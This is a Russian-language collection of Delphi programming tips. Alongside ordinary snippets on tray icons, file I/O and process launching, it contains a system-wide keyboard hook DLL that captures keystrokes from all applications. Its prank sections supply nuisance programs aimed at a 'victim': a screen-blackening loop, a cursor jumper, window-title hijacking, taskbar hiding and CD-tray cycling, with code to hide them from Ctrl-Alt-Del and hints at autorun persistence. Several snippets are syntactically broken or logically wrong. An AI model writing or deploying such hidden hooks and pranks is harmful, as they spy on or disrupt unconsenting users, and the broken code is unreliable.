  Result := 0;
  if Hooked then
  begin
    Result := 1;
    Exit;
  end;
  if not IsWindow(MemoHandle) then
  begin
    Result := 4;
    Exit;
  end;
  hKeyHook := SetWindowsHookEx(WH_KEYBOARD, KeyHookFunc, hInstance, 0);
  if hKeyHook > 0 then
  begin
    {you need to use a mapped file because this DLL attatches to every app
    that gets windows messages when it's hooked, and you can't get info except
    through a Globally avaiable Mapped file}
    hMemFile := CreateFileMapping($FFFFFFFF, nil,
     PAGE_READWRITE,
     0,
     SizeOf(THookRec),
     //SizeOf(Integer),
     'Global7v9k');
   PHookRec1 := MapViewOfFile(hMemFile, FILE_MAP_WRITE, 0, 0, 0);
    hMemo := MemoHandle;
    PHookRec1.MemoHnd := MemoHandle;
    hApp := AppHandle;
    PHookRec1.AppHnd := AppHandle;
    {set the Memo and App handles to the mapped file}
    Hooked := True;
  end
  else
    Result := 2;
end;

function StopHook: Boolean; export;
begin
  if PHookRec1 <> nil then
  begin
    UnmapViewOfFile(PHookRec1);
    CloseHandle(hMemFile);
    PHookRec1 := nil;
  end;
  if Hooked then
    Result := UnhookWindowsHookEx(hKeyHook)
  else
    Result := True;
  Hooked := False;
end;

procedure EntryProc(dwReason: DWORD);
begin
  if (dwReason = Dll_Process_Detach) then
  begin
    if PHookRec1 <> nil then
    begin
      UnmapViewOfFile(PHookRec1);
      CloseHandle(hMemFile);
    end;
    UnhookWindowsHookEx(hKeyHook);
  end;
end;

exports
  StartHook,
  StopHook;

begin
  PHookRec1 := nil;
  Hooked := False;
  hKeyHook := 0;
  hMemo := 0;
  DLLProc := @EntryProc;
  EntryProc(Dll_Process_Attach);
end.

++++++++++++++++++++++++++++++++++++++++++++++++++++++++

2. Следующий код использует заготовленную ранее DLL

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    but_StartHook: TButton;
    but_StopHook: TButton;
    label1: TLabel;
    Memo1: TMemo;
    procedure but_StartHookClick(Sender: TObject);
    procedure but_StopHookClick(Sender: TObject);
  private
    { Private declarations }
    hLib2: THandle;
    DllStr1: string;
    procedure DllMessage(var Msg: TMessage); message WM_USER + 1678;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.DllMessage(var Msg: TMessage);
begin
  if (Msg.wParam = 8) or (Msg.wParam = 13) then Exit;
  {the 8 is the Backspace and the 13 if the Enter key, You'll need to
 do some special handleing for a string}
  DllStr1 := DllStr1 + Chr(Msg.wParam);
  label1.Caption := DllStr1;
end;

procedure TForm1.but_StartHookClick(Sender: TObject);
type
  TStartHook = function(MemoHandle, AppHandle: HWND): Byte;
var
  StartHook1: TStartHook;
  SHresult: Byte;
begin
  hLib2 := LoadLibrary('HookLib.dll');
  @StartHook1 := GetProcAddress(hLib2, 'StartHook');
  if @StartHook1 = nil then Exit;
  SHresult := StartHook1(Memo1.Handle, Handle);
  if SHresult = 0 then ShowMessage('the Key Hook was Started, good');
  if SHresult = 1 then ShowMessage('the Key Hook was already Started');
  if SHresult = 2 then ShowMessage('the Key Hook can NOT be Started, bad');
  if SHresult = 4 then ShowMessage('MemoHandle is incorrect');
end;

procedure TForm1.but_StopHookClick(Sender: TObject);
type
  TStopHook = function: Boolean;
var
  StopHook1: TStopHook;
  hLib21: THandle;
begin
  @StopHook1 := GetProcAddress(hLib2, 'StopHook');
  if @StopHook1 = nil then
  begin
    ShowMessage('Ошибка');
    Exit;
  end;
  if StopHook1 then
    ShowMessage('Ловушка удалена');
  FreeLibrary(hLib2);
//В XP эту функцию нужно использовать два раза
  FreeLibrary(hLib2);
end;

end.

Ну а потом методом сравнения нажатых клавиш с нужным тебе сочитанием и отправляешь новые данные:
procedure TForm1.Button1Click(Sender: TObject);
var
  wnd: HWND;
  i: Integer;
  s: string;
begin
  wnd := FindWindow('notepad', nil);//Ищем нужное окно
  if wnd <> 0 then
  begin
    wnd := FindWindowEx(wnd, 0, 'Edit', nil);

//Текст, который посылаем в notePad
   s := 'Hello';
    for i := 1 to Length(s) do
      SendMessage(wnd, WM_CHAR, Word(s[i]), 0);
    //Эмуляция Enter
   PostMessage(wnd, WM_KEYDOWN, VK_RETURN, 0);
    //Эмуляция пробел
   PostMessage(wnd, WM_KEYDOWN, VK_SPACE, 0);
  end;
end;

//Для отправки в WordPad немного подругому:
 {...}
  wnd := FindWindow('WordPadClass', nil);

  if wnd <> 0 then
  begin
    wnd := FindWindowEx(wnd, 0, 'RICHEDIT', nil);
  {...}
Надеюсь разберёшься

К заголовку




" Отсеивание повторяющихся строк в TSringList

procedure Otsev(filename : pchar);
var
t, w : TStringList;
i: integer;
begin
t := TStringList.Create;
w := TStringList.Create;

t.LoadFromFile(filename);

w.Sorted := true;
w.Duplicates := dupIgnore;

for i := 0 to t.Count-1 do
  w.Add(t.Strings[i]);

w.SaveToFile('Sorted_'+filename);
Application.ProcessMessages();

t.Free;
w.Free;
end;


Итак. Вызывается процедура в которую передается имя файла содержащего n - ное кол-во строк, причем некоторые из
них повторяются. Процедура создает два стринглиста. В первый загружает этот файл, а второй оставляет пустым,
устанавливая ему свойства
Sorted в true  и  Duplicates в dupIgnore. Осталось пройтись по строкам первого стринглиста загоняя их во второй.
В него будут попадать строки и автоматически сортироваться по алфавиту, а если будут попадаться строки которые
уже присутствуют в нем, то они будут просто игнорироваться. Все. Конечный результат сохраняется в файл с таким
же названием и расширением, но с припиской 'Sorted_' перед названием.

К заголовку




" А куда подевался экран????
Для начала запусти Дельфи (желательно версии 5), жми на File -- New Application. Создастся новое приложение.
Сейчас ткни на Project -- View Source. Теперь сотри там всё и пиши:

program joke;
uses Windows, Graphics; /* тут мы подключаем необходимые модули */
var
desk:TCanvas; /* тут мы объявляем переменные */
begin
end.

Ну что же, каркас готов, теперь будем писать основной код:

program joke!;
uses Windows, Graphics; /* тут мы подключаем необходимые модули */
var
desk:TCanvas; /* тут мы объявляем переменные */
begin
desk:=TCanvas.Create; /* инициализируем переменную */
desk.handle:=GetDC(0); /* получаем заголовок десктопа */
while true do
begin
Yield;
desk.Pixels[Random(800), Random(600)]=0; /* точка на экране становится черной */
end.

Прога почти готова, жми на F9 и наслаждайся! Теперь осталось сделать, чтобы прогу нашу через CTRL-ALT-DEL не видно было:

program joke!;
uses Windows, Graphics; /* тут мы подключаем необходимые модули */
var
desk:TCanvas; /* тут мы объявляем переменные */
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
begin
RegisterServiceProcess(GetCurrentProcessID, 1);
desk:=TCanvas.Create; /* инициализируем переменную */
desk.handle:=GetDC(0); /* получаем заголовок десктопа */
while true do
begin
Yield;
desk.Pixels[Random(800), Random(600)]=0; /* точка на экране становится черной */
end;
end.

Всё! Нашу заподлянку не снять через "три весёлых клавиши"!. Жми теперь CTRL-F9 и вперёд!

К заголовку




" Возможно ли определить серийник CD-R
CD может иметь или не иметь серийный номер и/или универсальный код продукта (Universal Product Code). MCI-расширение
Windows предоставляет эту информации с помощью комманды MCI_INFO_MEDIA_IDENTITY command. Эта команда возвращает
уникальную ID-строку.
Пример:

uses MMSystem, MPlayer;

procedure TForm1.Button1Click(Sender: TObject);
var
  mp : TMediaPlayer;
  msp : TMCI_INFO_PARMS;
  MediaString : array[0..255] of char;
  ret : longint;
begin
  mp := TMediaPlayer.Create(nil);
  mp.Visible := false;
  mp.Parent := Application.MainForm;
  mp.Shareable := true;
  mp.DeviceType := dtCDAudio;
  mp.FileName := 'D:';
  mp.Open;
  Application.ProcessMessages;
  FillChar(MediaString, sizeof(MediaString), #0);
  FillChar(msp, sizeof(msp), #0);
  msp.lpstrReturn := @MediaString;
  msp.dwRetSize := 255;
  ret := mciSendCommand(Mp.DeviceId, MCI_INFO, MCI_INFO_MEDIA_IDENTITY,
        longint(@msp));
  if Ret <> 0 then
     begin
        MciGetErrorString(ret, @MediaString, sizeof(MediaString));
        Memo1.Lines.Add(StrPas(MediaString));
     end
  else
     Memo1.Lines.Add(StrPas(MediaString));
  mp.Close;
  Application.ProcessMessages;
  mp.free;
end;
end.

К заголовку




" Вывод текста по середине в ячейках StringGrid
procedure WriteText(ACanvas: TCanvas; const ARect: TRect; DX, DY: Integer;
 const Text: string; Format: Word);
var
 S: array[0..255] of Char;
 B, R: TRect;
begin
 with ACanvas, ARect do
 begin
   case Format of
     DT_LEFT: ExtTextOut(Handle, Left + DX, Top + DY, ETO_OPAQUE or
       ETO_CLIPPED,
         @ARect, StrPCopy(S, Text), Length(Text), nil);

     DT_RIGHT: ExtTextOut(Handle, Right - TextWidth(Text) - 3, Top + DY,
         ETO_OPAQUE or ETO_CLIPPED, @ARect, StrPCopy(S, Text),
         Length(Text), nil);

     DT_CENTER: ExtTextOut(Handle, Left + (Right - Left - TextWidth(Text)) div
       2,
         Top + DY, ETO_OPAQUE or ETO_CLIPPED, @ARect,
         StrPCopy(S, Text), Length(Text), nil);
   end;
 end;
end;

procedure TBEFStringGrid.DrawCell(Col, Row: Longint; Rect: TRect; State:
 TGridDrawState);
var
 procedure Display(const S: string; Alignment: TAlignment);
 const
   Formats: array[TAlignment] of Word = (DT_LEFT, DT_RIGHT, DT_CENTER);
 begin
   WriteText(Canvas, Rect, 2, 2, S, Formats[Alignment]);
 end;
begin
 { здесь задаем аргументы Col и Row, и форматируем как угодно ячейки }
 case Row of
   0: { Центрирование заголовков колонок }
     if (Col < ColCount) then
       Display(Cells[Col, Row], taCenter)
     else
       { Все другие данные имеют правое центрирование }
       Display(Cells[Col, Row], taRight);
 end;
end;

К заголовку




" Западло на Delphi размером 8Kb
Вот ты все делаешь и делаешь заподлянки. Только они какие то большие получаются. И на дискетку в лучшем случае влезет
штуки 4-5. А пробовал ли ты писать компактное zло, что бы на дискетку влезло их штук 100? Вот этим мы в этой статье
и займемся.


Лови мышь!
Мой любимый способ сделать кому нибудь zло - убить мышь. Но по своей природе я гуманный человек и мне не хочется
убивать зверей. Что можно ещё сделать с этим несчастным существом? Правильно. Заставить её побегать. Создавай
пустой текстовый файл и набивай следующее:

program MadMouse;

uses
  Windows;

var
  tmp: boolean=true;
begin
  randomize;
  repeat
    SetCursorPos(random(1024), random(768));
    sleep (500);
  until tmp;
end.

Сохраняй все это добро сохраняй и присвайвай файлу расширение dpr. Запускай дельфи, открывай этот файл, компилируй
и неси к другу ;) . Обьясняю со слова begin. Randomize инициализирует генератор псевдослучайных чисел. Процедура
SetCursorPos(random(1024), random(768)) перемещает курсор в случайные координаты экрана (random(x) random(y)).
Sleep - ждать 500мс (полсекунды). Ожидание можно сделать и подольше, что бы жертва ничего не заподозрила. Ну и
все это повторяется пока tmp=true. А tmp=true навечно :) . Значит все это будет выполняться пока процесс не
снимут или не перезагрузят компьютер. Можно из программы сделать монстра - заставив прятаться от Alt-Ctrl-Del
и прописываться в автозагрузку. Как это реализовать я надеюсь ты поймешь. Итого рзамер екзешника - 8Kb. Неплохо,
правда?

Лопнувшие глаза
Поиздевавшись над мышой давай поиздеваемся над экраном. Создавай, сохраняй, компилируй так, как это было описано
выше:

program BlackDeep;

uses
  Windows,
  Graphics;

var
  dt : TCanvas;
begin
  Randomize;
  dt := TCanvas.Create;
  dt.handle:= GetDC(0);
  while true do
  begin
    Yield;
    dt.Pixels[Random(1024), Random(768)]:=0;
  end;
end.

Здесь экзешник получится помощнее - 120Kb. Все это из-за модуля Graphics, без которого никакой заподлянки не будет.
 Наша программа делает следуеще. Инициализируется генератор случайных чисел (Randomize). Затем создается обьект dt
типа TCanvas (dt := TCanvas.Create). Берем описание устройства "Экран" и присваиваем его описанию dt
(dt.Handle := GetDC(0)). Потом запускаем цикл (while true do), даем выполниться ожидающей задаче (Yield) и
 заполняем случайный пиксел экрана черным цветом (dt.Pixels[Random(1024), Random(768)]:=0;). На первый взгляд
кажется сложно, но на самом деле все просто. Мне, кстати, очень нравится, что делает программа (только не надо
называть меня извращенцем)... Так что я иногда запускаю её, что бы полюбоваться этим зрелищем. Но не советую
увлекаться этим на Win9x/ME, а то придется перезагружаться.

Сумасшедшая винда
Все знают, что винда глючная. Щас мы сделаем её еще глючнее... Создавай текстовый файл и пиши:

program MadWinda;

uses
  Windows;

var
  CurrWnd:HWND;
begin
  while true do
  begin
    CurrWnd:=GetForegroundWindow;
    SetWindowText(CurrWnd, "From Windows with Love");
    Sleep(5000);
  end;
end.

Компилируй это, а я расскажу что делает программа. Запускается бесконечный цикл, в котором мы считываем описание
активного окна в переменную CurrWnd (CurrWnd:=GetForegroundWindow). Затем этому окну через описание (CurrWnd)
меняем заголовок (SetWindowText(CurrWnd, "From Windows with Love")). Потом ждем 5 сек и начинаем все сначала.
Вот такая простенькая и оргиниальная заподлянка размером в 8Kb.

Прячем панель задач
Ну как же обойтись без классики zаподлостроительства? Создай пустой текстовый файл с расширением dpr и впиши это:

program HideTaskbar;

uses
  Windows;

begin
  ShowWindow(FindWindow("Shell_TrayWnd", nil), SW_HIDE);
end.

Вот и все! Такая вот заподлянка размером всего в одну процедурку! Тут и обьяснять то нечего. Программа ищет окно
"Shell_TrayWnd" и прячет его. Что бы показать панель задач, вместо SW_HIDE напиши SW_SHOW.

Танцуют все!
Ну все, винду помучили. Экран и мышь тоже. Что ещё осталось? Ах да, старая добрая тетя клава. Щас мы заставить её
перемигиваться лампочками. Создавай проект и пиши:

Program TancuytVse;

uses
  Windows;

var
  KS:TKeyboardState;
  i:integer;

begin
  while true do
  begin
    randomize
    Yield;
    Sleep(10000);
    GetKeyboardState(ks);
    i:=Random(2);
    case i of
      0:KS[020]:= KS[020] XOR 1;
      1:KS[144]:= KS[144] XOR 1;
      2:KS[145]:= KS[145] XOR 1;
    end;
    SetKeyboardState(ks);
  end;
end.

Здесь запускается бесконечный цикл, в котором сначала инициализируем генератор псевдослучайных чисел (randomize),
потом даем выполнится ожидающей задаче (Yield), делаем паузу в 10 сек. (Sleep(10000), запрашиваем состояние
клавиатуры (GetKeyboardState(ks)), генерируем случайное число и на его основе виртуально нажимаем на клавишу
NumLock, CapsLock или ScrollLock. Предупреждаю, что этот трюк не пройдет в NT-подобных системах (WinNT, 2000 и XP).

Обкурившийся CD-RoM
Ну и напоследок опишу ещё одну классическую заподлянку. Создавай и пиши:

program CrazyCD;

uses
  windows, MMSystem;

var
  OpenParm: TMCI_Open_Parms;
  GeneralParm: TMCI_Generic_Parms;
  SetParm: TMCI_Set_Parms;
  Crd : Cardinal;
begin
  while true do
  begin
    OpenParm.lpstrDeviceType := "CDAudio";
    mciSendCommand(0, mci_Open, mci_Open_Type, Longint(@OpenParm));
    Crd := OpenParm.wDeviceID;
    mciSendCommand(Crd, mci_Set, mci_Set_Door_Open, Longint(@SetParm));
    mciSendCommand(Crd, mci_Set, mci_Set_Door_Closed, Longint(@SetParm));
    mciSendCommand(Crd, mci_Close, mci_Notify, Longint(@GeneralParm));
    sleep(10000);
  end;
end.

Эта программа несмотря на подключенный модуль MMSystem занимает всего 8 килобайт. Здесь, как и во всех наших
заподлянках, запускается бесконечный цикл, во время которого происходит следуещее. Заполним поле lpstrDeviceType
параметром CDAudio, указывающее на сидюк. Потом пошлем mci команду mciSendCommand(0, mci_Open, mci_Open_Type,
Longint(@OpenParm))) Переменной типа Cardinal присвоим ID девайса (Crd := OpenParm.wDeviceID). Затем последовательно
посылаем команды mci_Set и mci_Close. Ждем 10 секунд и повторяем. Заморочено, но работает ;).

К заголовку




" Записать в файл 1 байт
Что- то типа такого :

var
  f:file of byte;
  b:byte;
begin
  assigfile(f, FileName);
  rewrite(f);
  b:=65;
  blockwrite(f, b, 1);
  closefile(f);
end;

К заголовку




" Запись в файл
1) F: TextFile;

2)

самый простой способ через StringList;

var
 List : TStrings;

begin
 List := TStringList.Create;
 try
    List.LoadFromFile('test.txt');
    List.Insert(0, 'Вставляем новую строку в начало');
    List.SaveToFile('test.txt');
 finally
    List.Free
 end
end;

// Более экономный способ (по расходу памяти) - создавать новый файл
procedure TForm1.Button1Click(Sender: TObject);
var
 F1 : TextFile;
 F2 : TextFile;
 S  : String;

begin
 AssignFile(F1, '$$temp.txt');
 ReWrite(F1);
 try
   AssignFile(F2, 'test.txt');
   try
     Reset(F2);
   except
     ReWrite(F2);
   end;
   try
      S := 'Добавляем эту строку в начало файла';
      WriteLn(F1, S);
      while not Eof(F2) do
         begin
           ReadLn(F2, S);
           WriteLn(F1, S)
         end;
   finally
      CloseFile(F2);
      Erase(F2)
   end
 finally
   CloseFile(F1);
   Rename(F1, 'test.txt');
 end
end;
SergP ©   (23.01.05 02:08) [2]

Вот тупой способ, но может пригодится:


procedure SaveToFile(const FileName: string; const s:string);
begin
with TFileStream.Create(FileName, fmCreate) do
 try
   WriteBuffer(Pointer(S)^, Length(S));
 finally
   Free;
 end;
end;

function LoadFromFile(const Filename:string):string;
var
 SizeStr:integer;
begin
with TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite) do
 try
   SizeStr := Size - Position;
   SetString(Result, nil, SizeStr);
   Read(Pointer(Result)^, SizeStr);
 finally
   Free;
 end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
 s:string;
begin
 s:=LoadFromFile('c:\vasya_pupkin.txt');
 Insert('нехороший человек, редиска',s,20);
 SaveToFile('c:\vasya_pupkin.txt',s);
end;

К заголовку




" Запуск программы и ожидание ее окончания, принудительное завершение если timeout
function ExecuteFileTm(FileName:string;Params:string;Dsk:boolean;TimeOut:cardinal):boolean;
var
  Res:LongBool;
  PIn:PROCESS_INFORMATION;
  SII:STARTUPINFO;
  RetCode:cardinal;
  TmOut:cardinal; //In seconds
  i:cardinal;
  CreationsFlags:cardinal;
begin
  TmOut:=TimeOut;
  try
    if Dsk then
    begin
      CreationsFlags:=CREATE_DEFAULT_ERROR_MODE or NORMAL_PRIORITY_CLASS
                      or CREATE_UNICODE_ENVIRONMENT;
    end else begin
      CreationsFlags:=CREATE_DEFAULT_ERROR_MODE or CREATE_NO_WINDOW
                      or NORMAL_PRIORITY_CLASS
                      or CREATE_UNICODE_ENVIRONMENT;
    end;
    getstartupinfo(SII);
    Res:=createprocess(
      pchar(FileName),
      pchar(Params),
      nil,
      nil,
      True,
      CreationsFlags,
      nil,
      pchar(extractfilepath(FileName)),
      SII,
      PIn);
  except
    CloseHandle(Pin.hProcess);
    ExecuteFileTm:=False;
    exit;
  end;
  if not Res then
  begin
    CloseHandle(Pin.hProcess);
    ExecuteFileTm:=False;
    exit;
  end;
  i:=0;
  RetCode:=STILL_ACTIVE;
  while (i<=TmOut) and (RetCode=STILL_ACTIVE)do
  begin
    try
      GetExitCodeProcess(Pin.hProcess,RetCode);
    except
      CloseHandle(Pin.hProcess);
      ExecuteFileTm:=False;
      exit;
    end;
    Sleep(1000);
    inc(i);
  end;
  if (i>TmOut) and (RetCode=STILL_ACTIVE) then
  begin
    TerminateProcess(Pin.hProcess,RetCode);
    CloseHandle(Pin.hProcess);
    // ExecuteFilePrExt:=false;
    ExecuteFileTm:=false; // ION T
    exit;
  end;
  CloseHandle(Pin.hProcess);
  ExecuteFileTm:=True;
end;

К заголовку




" Извлечение текста из строки до определёного символа и после
Есть строка например    -        1111111111111 = 22222222222
каким образом можно извлеч из нее текст до = и после, для того чтобы было так

1) 1111111111111
   и
2)22222222222

======--------------------------------------
uses StrUtils;

var
 S, SL, SR: String;
 P: Integer;

begin
 P := Pos('=', S);
 if P > 0 then
 begin
   SL := LeftStr(S, P - 1);
   SR := RightStr(S, Length(S) - P)
 end
end.

К заголовку




" Как заставить Рабочий Стол обновится
procedure TForm1.Button1Click(Sender: TObject);
begin
  SendMessage(FindWindow('Progman', 'Program Manager'),
  WM_COMMAND, $A065, 0);
end;

К заголовку




" Как поместить иконку в Tray и работать с ней ?
Рассмотрим два варианта. Первый просто помещает ее туда (для тех кто хочет дальше сам во всем разобраться) а второй...
Смотрите сами.

Вариат 1
_______________________________________________________

function TaskBarAddIcon( hWindow : THandle; ID  : Cardinal;
 ICON : hicon; CallbackMessage : Cardinal; Tip  : String ) : Boolean;
var
 NID : TNotifyIconData;
begin
 FillChar( NID, SizeOf( TNotifyIconData ), 0 );
 with NID do begin
  cbSize := SizeOf( TNotifyIconData );
  Wnd   := hWindow;
  uID    := ID;
  uFlags := NIF_MESSAGE or NIF_ICON or NIF_TIP;
  uCallbackMessage := CallbackMessage;
  hIcon  := Icon;
  if Length( Tip ) > 63 then SetLength( Tip, 63 );
  StrPCopy( szTip, Tip );
 end;
 Result := Shell_NotifyIcon( NIM_ADD, @NID );
end;



Вариат 2
_______________________________________________________

Обязательно включите в список подключаемых модулей, модуль ShellApi, иначе ничего работать не будет.

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ShellApi; //!!

const
WM_NOTIFYTRAYICON = WM_USER + 1;

type
TForm1 = class(TForm)
procedure FormDestroy(Sender: TObject);

procedure FormCreate(Sender: TObject);
private
{ Private declarations }

procedure WMTRAYICONNOTIFY(var Msg: TMessage);
message WM_NOTIFYTRAYICON;

public
{ Public declarations }
end;

var
Form1: TForm1;
tray: TNotifyIconData;
TrayIcon: TIcon;

implementation

{$R *.dfm}

procedure TForm1.WMTRAYICONNOTIFY(var Msg: TMessage);
begin
{обрабатываем события на иконке в трее}
case Msg.LParam of
WM_LBUTTONDOWN: Form1.Visible:=true;
WM_LBUTTONDBLCLK: {ваш код обработки события двойного нажатия на левую кнопку мыши}
WM_LBUTTONUP: {ваш код обработки события отпускания левой кнопки мыши}

WM_RBUTTONDOWN: {ваш код}
WM_RBUTTONDBLCLK: {ваш код}
WM_RBUTTONUP: {ваш код}

WM_MOUSEMOVE: {ваш код}
end;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
try
with tray do begin
cbSize := SizeOf(TNotifyIconData);
Wnd := Form1.Handle;
uID := 1;
end;
Shell_NotifyIcon(NIM_DELETE, Addr(tray));
finally
Application.Terminate;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
TrayIcon := Application.Icon;
with tray do begin
cbSize := SizeOf(TNotifyIconData);
Wnd := Form1.Handle;
uID := 1;
uFlags := NIF_ICON or NIF_MESSAGE or NIF_TIP;
uCallBackMessage := WM_NOTIFYTRAYICON;
hIcon := TrayIcon.Handle;
szTip := ('Это мое приложение в трее');
end;
Shell_NotifyIcon(NIM_ADD, Addr(tray));
end;

procedure TForm1.GoToTrayButtonClick(Sender: TObject);
begin
//сворачиваемся в Трей
Form1.Visible:=false;
end;


end.
++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++
++++++++++++++++++++++++++++++++++

Объяснение...
Piter ©   (21.11.04 11:10) [10]

Для работы с SysTray'ем (область где часики) в WinApi есть функция - Shell_NotifyIcon. С помощью нее можно
 добавлять свои иконки в SysTray, модифицировать их и удалять.
Вот ее описание:

function Shell_NotifyIcon(dwMessage: DWORD; lpData: PNotifyIconData): BOOL; stdcall;

Ее заголовок, а также определение типов TNotifyIconData, PNotifyIconData находится в юните shellapi.pas, который
надо подключить для использования данной функции:
uses
ShellAPI;

В функции Shell_NotifyIcon первый параметр dwMessage указывает, что вы хотите сделать: добавить иконку, удалить
или модифицировать существующую.
Соответственно, может принимать такие значения:

NIM_ADD - добавление иконки
NIM_DELETE - удаление иконки
NIM_MODIFY - модифицирование существующей иконки

Следующий параметр lpData - это указатель на запись TNotifyIconData, которая описана так:
TNotifyIconData = record
   cbSize: DWORD;
   Wnd: HWND;
   uID: UINT;
   uFlags: UINT;
   uCallbackMessage: UINT;
   hIcon: HICON;
   szTip: array [0..63] of AnsiChar;
end;

cbSize - размер этой самой структуры TNotifyIconData. Легко вычисляется с помощью sizeof(TNotifyIconData)

Wnd - номер окна, которое будет принимать сообщения от иконки

uID - уникальный номер иконки в вашем приложении

uFlags - флаги, показывающие какие поля TNotifyIconData должны быть обработаны системой

uCallbackMessage - если в uFlags установлено NIF_MESSAGE, то uCallbackMessage указывает номер сообщения, которое
будет послано окну под номером Wnd

hIcon - если в uFlags установлено NIF_ICON, то hIcon показывает номер иконки, которая будет будет отображаться в
 SysTray'е

szTip - если в uFlags установлено NIF_TIP, то szTip задает всплывающий текст, который отображается при наведении
 курсора мышки на иконку

Ну вот собственно и все, что нужно знать для того, чтобы "запуздырить" свою иконку в SysTray.
В программе где-то имеет смысл объявить глобальную переменную, например NID типа TNotifyIconData.
var NID: TNotifyIconData;
Глобально - потому что эта переменная понадобится, чтобы удалять иконку и модифицировать ее.
Осталось рассмотреть конкретную реализацию:
предполагается, что где-то в программе объявлена глобальная переменная NID: TNotifyIconData

procedure TForm1.Button1Click(Sender: TObject);
begin
 NID.uID :=0;
 NID.Wnd := Handle;
 NID.uCallbackMessage :=WM_USER;
 NID.hIcon := LoadIcon(HINSTANCE,'ICON1');
 NID.szTip := 'Моя иконка';
 NID.uFlags :=NIF_ICON or NIF_MESSAGE or NIF_TIP;
 NID.cbSize :=sizeof(NID);
 Shell_NotifyIcon(NIM_ADD,@NID);
end;

NID.uID :=0;
уникальный номер иконки в приложении. Если у вас несколько иконок в одном приложении, то это позволит вам их
различать. У нас иконка одна, так что ставим что угодно. Например, ноль.

NID.Wnd := Handle;
Выбираем окно, которое будет обрабатывать сообщение от иконки. В моем тестовом приложении только одна форма,
одно окно, его и выбираю.
Выбираемое окно должно иметь процедуру обработки сообщения.

NID.uCallbackMessage :=WM_USER;
Выбираем номер сообщения, которое будет послано нашему окну, как только с иконкой произведут какие-либо действия.
Для наших личных сообщений Microsoft рекомендует использовать номера от WM_USER до 0x7FFF. Выбираем WM_USER

NID.hIcon := LoadIcon(HINSTANCE,'ICON1');
Тут загружаем изображение, иконку, которая будет отображена в SysTtay. По этому пункту почему-то возникает много
вопросов, вроде "а как загрузить-то?".
Это, наверное, тема для очередного вопроса, но кратко расскажу как можно. Запускаете в Delphi "Tools->ImageEditor"
 и создаете новый "Resource File" или открываете существующий (только не главный ресурсный файл вашего приложения,
типа project1.res).
Рисуете иконку под именем ICON1, сохраняете ресурсный файл под именем icon.res, кладете файл в каталог с программой.
В модуле формы, где используется LoadIcon, после {$R *.dfm} пишете {$R icon.RES}, после чего Delphi включит ресурсы
 вашего icon1.res в создаваемый exe файл. В том числе включит иконку ICON1.
После чего эту иконку можно загрузить как показано выше.

NID.szTip := 'Моя иконка';
Просто задаете текст всплывающей подсказки. Так как объявлено:
szTip: array [0..63] of AnsiChar;
то соответственно, подсказка не должна быть длиннее 64 символов.

NID.uFlags :=NIF_ICON or NIF_MESSAGE or NIF_TIP;
задаются флаги, которые показывают, какие поля TNotifyIconData должны учитываться системой. Мы заполнили и hIcon, и
 uCallbackMessage, и szTip. Соответственно, все они должны учитываться.

NID.cbSize :=sizeof(NID);
просто задается размер TNotifyIconData. Эта строчка всегда будет именно такой.

Shell_NotifyIcon(NIM_ADD,@NID);
собственно говоря, вызывается функция Shell_NotifyIcon с нужными параметрами (так как должен передаваться указатель на
структуру, а не сама TNotifyIconData, то поэтому @NID, а не просто NID). Можно анализировать значение, возвращаемое
функцией. True в случае успешного добавления иконки и False в случае неуспеха.

Созданную иконку можно удалить. Например, это следует делать при завершении приложения:

procedure TForm1.FormDestroy(Sender: TObject);
begin
 Shell_NotifyIcon(NIM_DELETE,@NID);
end;

Если вы хотите модифицировать текст всплывающей подсказки или отобразить другую иконку вместо прежней, то просто
перезаполните нужное поле NID и вызывайте:

Shell_NotifyIcon(NIM_MODIFY,@NID);

Но это не все, иконку мы добавили, но ведь нужно как-то обрабатывать события, такие, например, как клик мышкой по иконке.
Именно для этого окно (на которое указывает параметр Wnd), которое будет получать события от иконки, должно иметь обработчик
сообщений. Мы определили сообщение как WM_USER. Соответственно, добавим к нашей форме нужную процедуру:

procedure IconMessage (var Msg: TMessage); message wm_USER;

Теперь, при действиях с иконкой, соответствующие сообщения будут посылаться окну Wnd, что приведет к вызову нашей
процедуры IconMessage и передаче ей структуры TMessage, полностью определяющей возникшее событие.

По параметру lParam можно судить о произошедшем действии, например:

WM_LBUTTONDOWN - клик левой кнопкой мышки по иконке
WM_RBUTTONDOWN - клик правой
WM_MOUSEMOVE - движение курсора мышки над иконкой

и так далее. Подробнее можно посмотреть во встроенной справке Windows SDK (файл WIN32S.HLP) в разделе '
Mouse Input Messages'.

В соответствии со сказанным реализуем нашу процедуру.
Например, мы хотим, чтобы при клике левой кнопкой по иконке выводился бокс с сообщением, а по клику правой кнопки хотим
вывести существующее PopUp меню:

procedure TForm1.IconMessage(var Msg: TMessage);
var
 Pt: TPoint;
begin
case Msg.lParam of
 WM_LBUTTONDOWN : showmessage('По иконке кликнули левой кнопкой мыши!');
 WM_RBUTTONDOWN :
   begin
     GetCursorPos (Pt);
     PopupMenu1.Popup (Pt.x, Pt.y);
   end;
end;

end;

Файл проекта с данным примером можно загрузить ЗДЕСЬ

Мы рассмотрели вызов функции Shell_NotifyIcon, которая ссылается на системную WinApi функцию Shell_NotifyIconA,
то есть она предназначена для использования с ANSI строками. Точнее, строка там одна - в структуре TNotifyIconData
есть поле szTip, которое заполняется ANSI символами. Есть и Unicode версия функции - Shell_NotifyIconW, которая
квивалентна Shell_NotifyIconA, но требует в качестве параметра указатель на запись TNotifyIconDataW в которой поле
szTip определено следующим образом:

szTip: array [0..63] of WideChar;

Так что вы можете пользоваться Unicode версией функции для избежания проблем с кодировкой в не русской windows
(с не русской локалью). Но помните, что полная поддержка Unicode функцией реализована только в системах, начиная
с Windows 2000.

Ну и совсем напоследок хочу предупредить, что иконка автоматически удаляется как только окно Wnd, указанное в
TNotifyIconData, удаляется из системы. При это возникает стандартный глюк, выражающийся в том, что иконка хоть
и удалена, но она "висит" в SysTray, пока не получит сообщения, например, пока к ней не подведут мышку.
